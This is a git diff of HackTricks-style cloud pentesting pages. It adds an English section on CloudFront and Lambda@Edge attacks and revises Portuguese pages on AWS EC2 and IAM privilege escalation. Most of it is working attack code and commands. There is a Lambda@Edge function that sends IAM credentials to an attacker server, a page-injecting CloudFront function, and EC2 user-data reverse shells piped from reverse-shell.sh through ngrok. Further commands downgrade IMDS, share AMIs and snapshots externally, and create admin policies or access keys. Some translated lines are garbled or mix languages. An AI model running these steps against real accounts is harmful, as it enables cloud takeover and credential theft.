\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Criar a função maliciosa no CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Obter o ETag da função no estágio DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Publicar a função no estágio LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Empacotar a função Lambda@Edge
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Criar a função Lambda@Edge com um papel privilegiado
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Publicar uma versão da função
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Aplicar a configuração atualizada da distribuição (deve usar o ETag atual)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Acionar a função fazendo uma requisição à distribuição
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 0b7b5f0eb..a57a3238d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-Para mais **informações sobre EC2** confira:
+Para mais **informações sobre EC2** consulte:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ Para mais **informações sobre EC2** confira:
### `iam:PassRole`, `ec2:RunInstances`
-Um atacante poderia **criar uma instância anexando um IAM role e então acessar a instância** para roubar as credenciais do IAM role a partir do metadata endpoint.
+Um atacante poderia **criar uma instância anexando uma role IAM e então acessar a instância** para roubar as credenciais da role IAM do endpoint de metadata.
- **Acesso via SSH**
-Inicie uma nova instância usando uma **ssh key** criada (`--key-name`) e depois conecte-se via ssh a ela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
+Inicie uma nova instância usando uma **criada** **ssh key** (`--key-name`) e então faça ssh nela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **Acesso via rev shell no user data**
+- **Acesso via rev shell em user data**
-Você pode iniciar uma nova instância usando um **user data** (`--user-data`) que enviará para você um **rev shell**. Você não precisa especificar o security group dessa forma.
+Você pode executar uma nova instância usando **user data** (`--user-data`) que lhe enviará um **rev shell**. Você não precisa especificar security group desta forma.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Tenha cuidado com GuardDuty se você usar as credenciais do IAM role fora da instance:
+Cuidado com GuradDuty se você usar as credenciais da IAM role fora da instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Impacto Potencial:** privesc direto a qualquer EC2 role anexada a um perfil de instância existente.
+**Impacto Potencial:** Privesc direto para qualquer EC2 role anexada a instance profiles existentes.
#### Privesc para ECS
-Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **services** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode comprometer esses serviços (docker containers) e **roubar os ECS roles anexados a eles**.
+Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode penetrar nesses serviços (docker containers) e **roubar as ECS roles associadas**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, consulte:
+Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, confira:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser capaz de registrar a instância no cluster e executar o ataque comentado.
+Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser possível registrar a instância dentro do cluster e executar o ataque comentado.
-**Impacto Potencial:** Privesc direto para ECS roles anexadas às tasks.
+**Potential Impact:** Privesc direto para roles ECS anexadas a tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar o IAM role de uma instância comprometida** para poder roubar novas credenciais.\
-Como um instance profile só pode ter 1 role, se o instance profile **já tiver um role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
+Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar a IAM role de uma instância comprometida** para que pudesse roubar novas credenciais.
+Como um instance profile só pode ter 1 role, se o instance profile **já tiver uma role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Se o **instance profile tem uma role** e o atacante **não consegue removê‑la**, existe outra alternativa. Ele pode **encontrar** um **instance profile sem uma role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** a **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma compromised i**nstance:**
+Se o **instance profile tem um role** e o atacante **não consegue removê-lo**, existe outra alternativa. Ele poderia **encontrar** um **instance profile sem um role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a um i**nstance:**
-- Se a instance **não tem nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Se o instance **não tiver nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Impacto Potencial:** Direct privesc to a different EC2 role (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico do instance profile).
+**Impacto Potencial:** Privesc direto para um EC2 role (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou status específico de instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Com essas permissões é possível alterar o instance profile associado a uma instância; assim, se o atacante já tiver acesso a essa instância, ele poderá roubar credenciais de mais roles de instance profile ao trocar o que está associado a ela.
+Com essas permissões é possível alterar o instance profile associado a uma instance, então se o atacante já tiver acesso a uma instance ele poderá roubar credenciais de mais instance profile roles alterando o que está associado a ela.
-- Se ela **possui um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
+- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- ou **substituir** o **perfil de instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
+- ou **replace** the **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Impacto Potencial:** Privesc direto para uma EC2 role diferente (você precisa ter comprometido uma instância EC2 da AWS e alguma permissão extra ou status específico de instance profile).
+**Impacto Potencial:** Direct privesc para um EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou um status específico de instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role attached** e um **rev shell** no **user data**.\
-Uma vez que a instância seja executada, ele pode **steal the IAM role**.
+Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com um **EC2 Role anexado** e um **rev shell** no **user data**.\
+Uma vez que a instância for executada, ele pode **roubar o IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Um atacante com o `ec2:ModifyInstanceAttribute` pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários**, o que pode ser usado para obter um **rev shell na instância EC2**.
+Um atacante com a **`ec2:ModifyInstanceAttribute`** pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell para a instância EC2**.
-Note que os atributos só podem ser modificados enquanto a instância estiver parada, portanto são necessárias as permissões `ec2:StopInstances` e `ec2:StartInstances`.
+Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então são necessárias as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Impacto Potencial:** Escalada direta (privesc) para qualquer EC2 IAM Role anexada a uma instância criada.
+**Impacto Potencial:** privesc direto para qualquer EC2 IAM Role anexada a uma instância criada.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** pode criar uma **new Launch Template version** com um **rev shell in** o **user data** e **any EC2 IAM Role on it**, alterar a versão padrão, e **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** irá **re-run the instances** usando esse template e irá executar o rev shell.
+Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova Launch Template version** com uma **rev shell no** **user data** e **qualquer EC2 IAM Role associada a ela**, alterar a versão padrão, e **qualquer Autoscaler group** **usando** essa **Launch Template** que esteja **configurada** para usar a **latest** ou a **default version** irá **re-executar as instâncias** usando esse template e executará a rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Impacto Potencial:** Privesc direto para um EC2 role diferente.
+**Impacto Potencial:** privesc direto para um EC2 role diferente.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com um **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar o IAM Role**.
+Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com uma **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar a IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,22 +196,22 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Impacto Potencial:** Privesc direto para uma role EC2 diferente.
+**Impacto Potencial:** Privesc direto para um EC2 role diferente.
### `!autoscaling`
-O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma role IAM porque, para anexar a role especificada na Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
+O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar privilégios** para um IAM role porque, para anexar o role especificado no Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
### `ec2-instance-connect:SendSSHPublicKey`
-Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar (se ele tiver acesso ssh à instância) ou para escalar privilégios.
+Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar a instância (se tiver acesso ssh à instância) ou para escalar privilégios.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Impacto Potencial:** Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
+**Impacto Potencial:** Privesc direto aos EC2 IAM roles associados às instâncias em execução.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Essa forma não é muito útil para privesc, pois você precisa conhecer um nome de usuário e senha para explorá-la.
+Essa forma não é tão útil para privesc, pois é preciso conhecer um nome de usuário e uma senha para explorá-la.
-**Impacto Potencial:** (Altamente não comprovável) Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
+**Impacto Potencial:** (Altamente improvável de provar) Privesc direto às IAM roles do EC2 anexadas às instâncias em execução.
### `describe-launch-templates`,`describe-launch-template-versions`
-Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes no user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
+Como os launch templates têm versionamento, um atacante com **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes em user data. Para isso, o script abaixo percorre todas as versões dos launch templates disponíveis:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +248,24 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
+Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.
-Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+Supondo que encontremos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
-**Potential Impact:** Escalação direta de privilégios para usuário(s) do IAM.
+**Impacto Potencial:** Escalada direta de privilégios para usuário(s) IAM.
## Referências
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-
-
-
-
### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir roubo de credenciais via SSRF)
-Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância acessível via caminhos comuns de SSRF/proxy de aplicações em execução na instância. Se o atacante conseguir acionar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
+Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância alcançável via caminhos comuns de SSRF/proxy a partir de aplicações em execução na instância. Se o atacante conseguir disparar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
-- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
-- Target resource: The running EC2 instance with an attached instance profile (IAM role).
+- Permissões necessárias: `ec2:ModifyInstanceMetadataOptions` na instância alvo (mais a habilidade de alcançar/acionar um SSRF no host).
+- Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
-Commands example:
+Exemplo de comandos:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -297,5 +292,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Impacto Potencial: Roubo de credenciais do instance profile via SSRF levando a privilege escalation e lateral movement com as permissões do EC2 role.
+Impacto potencial: Roubo de credenciais do instance profile via SSRF levando à elevação de privilégios e movimento lateral com as permissões do EC2 role.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Um atacante com a permissão `ec2:ModifyInstanceMetadataOptions` pode enfraquecer as proteções do Instance Metadata Service (IMDS) — por exemplo forçando IMDSv1 (tornando HttpTokens não obrigatórios) ou aumentando HttpPutResponseHopLimit — facilitando assim a exfiltração de credenciais temporárias. O vetor de risco mais relevante é aumentar HttpPutResponseHopLimit: ao incrementar esse hop limit (TTL), o endpoint 169.254.169.254 deixa de ficar estritamente limitado ao namespace de rede da VM e pode tornar-se acessível por outros processos/contêineres, permitindo o roubo de credenciais.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Um atacante com as permissões ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute pode compartilhar AMIs ou snapshots com outras contas AWS (ou até torná-los públicos), expondo imagens ou volumes que podem conter dados sensíveis, como configurações, credenciais, certificados ou backups. Ao modificar as permissões de launch de uma AMI ou as permissões de create-volume de um snapshot, o atacante permite que terceiros iniciem instâncias ou montem discos a partir desses recursos e acessem seu conteúdo.
+
+Para compartilhar uma AMI com outra conta:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Para compartilhar um EBS snapshot com outra conta:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index dbf12b754..5445a6081 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Para mais informações sobre o IAM, consulte:
+Para mais informações sobre IAM, consulte:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,28 +12,28 @@ Para mais informações sobre o IAM, consulte:
### **`iam:CreatePolicyVersion`**
-Concede a capacidade de criar uma nova versão de política do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
+Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões customizadas.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
+**Impact:** Escalona privilégios diretamente, permitindo qualquer ação em qualquer recurso.
### **`iam:SetDefaultPolicyVersion`**
-Permite alterar a versão padrão de uma IAM policy para outra versão existente, potencialmente escalando privilégios se a nova versão conceder mais permissões.
+Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impacto:** Indirect privilege escalation by enabling more permissions.
+**Impacto:** Indirect privilege escalation ao permitir mais permissões.
### **`iam:CreateAccessKey`**
-Permite a criação de access key ID e secret access key para outro usuário, podendo levar a privilege escalation.
+Permite criar access key ID e secret access key para outro usuário, levando a uma potencial privilege escalation.
**Exploit:**
```bash
@@ -43,35 +43,35 @@ aws iam create-access-key --user-name
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Permite criar ou atualizar um login profile, incluindo definir senhas para o login do console da AWS, levando à escalada direta de privilégios.
+Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console AWS, levando a uma escalada direta de privilégios.
-**Exploit para Criação:**
+**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Exploit para Atualização:**
+**Exploit para Update:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Impacto:** Escalada direta de privilégios ao autenticar-se como o usuário "any".
+**Impacto:** Escalada direta de privilégios ao fazer login como qualquer usuário.
### **`iam:UpdateAccessKey`**
-Permite habilitar uma access key desativada, potencialmente permitindo acesso não autorizado caso o atacante possua essa access key.
+Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Impacto:** Escalada direta de privilégios ao reativar chaves de acesso.
+**Impact:** Escalada direta de privilégios ao reativar chaves de acesso.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Habilita a geração ou redefinição de credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
+Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
-**Exploit para Criação:**
+**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
@@ -79,13 +79,13 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impacto:** Escalada de privilégios direta dentro das permissões de serviço do usuário.
+**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Permite anexar policies a users ou groups, escalando privilégios diretamente ao herdar as permissões da policy anexada.
+Permite anexar policies a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da policy anexada.
-**Exploit para Usuário:**
+**Exploit para o usuário:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
@@ -93,7 +93,7 @@ aws iam attach-user-policy --user-name --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impacto:** Direct privilege escalation para qualquer coisa que a policy concede.
+**Impact:** Direct privilege escalation para qualquer coisa que a policy conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Você pode usar uma policy como:
+Você pode usar uma política como:
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ Você pode usar uma policy como:
]
}
```
-**Impacto:** Escalação direta de privilégios ao adicionar permissões através de policies.
+**Impacto:** Direct privilege escalation ao adicionar permissões através de políticas.
### **`iam:AddUserToGroup`**
-Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
+Permite adicionar a si mesmo a um grupo IAM, escalating privileges ao herdar as permissões do grupo.
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impacto:** Escala direta de privilégios ao nível das permissões do grupo.
+**Impacto:** Escalada de privilégios direta ao nível das permissões do grupo.
### **`iam:UpdateAssumeRolePolicy`**
-Permite alterar o documento assume role policy de uma role, habilitando a assunção da role e suas permissões associadas.
+Permite alterar o documento da assume role policy de um role, permitindo a assunção desse role e de suas permissões associadas.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Quando a policy estiver como a seguinte, dando ao usuário permissão para assumir a role:
+Quando a política for como a seguinte, que concede ao usuário permissão para assumir a função:
```json
{
"Version": "2012-10-17",
@@ -163,11 +163,11 @@ Quando a policy estiver como a seguinte, dando ao usuário permissão para assum
]
}
```
-**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.
+**Impacto:** Escalada de privilégios direta ao assumir as permissões de qualquer role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma possível escalada de privilégios indireta.
+Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada de privilégios indireta.
**Exploit for SSH Key Upload:**
```bash
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
